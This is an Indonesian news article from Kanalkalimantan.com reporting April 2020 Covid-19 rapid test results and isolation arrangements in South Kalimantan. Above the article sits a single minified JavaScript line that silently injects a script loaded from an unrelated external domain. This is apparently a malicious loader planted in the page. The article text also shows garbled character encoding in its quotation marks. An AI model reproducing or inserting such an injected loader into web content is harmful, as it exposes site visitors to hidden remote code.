(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

UPDATE. Sebanyak 1.159 Laporan Rapid Test Diterima, 115 di Antaranya Reaktif

KANALKALIMANTAN.COM, BANJARBARU Ã¢â‚¬â€œ Hingga Senin (13/4/2020) sore, Tim Gugus Tugas Pencegahan Penanganan dan Pengendalian (P3) Covid-19 Kalimantan Selatan sudah menerima laporan hasil rapid test sebanyak 1.159 laporan.

Ã¢â‚¬Å“Sebanyak 115 laporan di antaranya reaktif,Ã¢â‚¬Â kata Juru Bicara Tim Gugus Tugas P3 Covid-19 Kalsel Muhammad Muslim di Banjarbaru, Senin (13/4/2020) sore.

Sehingga, persentase laporan rapid test yang reaktif atau positif sebanyak 9,9 persen. Tentunya, Muslim menambahkan, rapid test ini diambil sebagai langkah pemetaan lebih lanjut untuk melakukan upaya-upaya isolasi. Baik isolasi mandiri maupun isolasi khusus, seperti di gedung isolasi khusus maupun rumah sakit.

Menurut Muslim, salah satu gedung yang khusus digunakan untuk isolasi adalah Gedung Balai Diklat Ambulung di Banjarbaru. Gedung ini sendiri, sudah dipergunakan untuk orang tanpa gejala (OTG) ataupun orang dalam pemantauan (ODP) yang hasil rapid test-nya dinyatakan reaktif.

Ã¢â‚¬Å“Saat ini ada sekitar 25 ODP dan 24 di antaranya adalah Cluster Gowa. Satu ODP dari Kalimantan Tengah,Ã¢â‚¬Â sebut Muslim.

Ia menjamin, kebutuhan ODP yang diisolasi di gedung ini ditanggung oleh Pemprov Kalsel melalui Tim Gugus Tugas P3 Covid-19 Kalsel. Ã¢â‚¬Å“Kemudian untuk pemantauan dan perawatan, kita menggunakan tenaga-tenaga medis maupun tenaga perawat lainnya, baik dari Gugus Tugas maupun dibantu oleh rumah sakit terdekat,Ã¢â‚¬Â jelas Muslim. (Kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Cell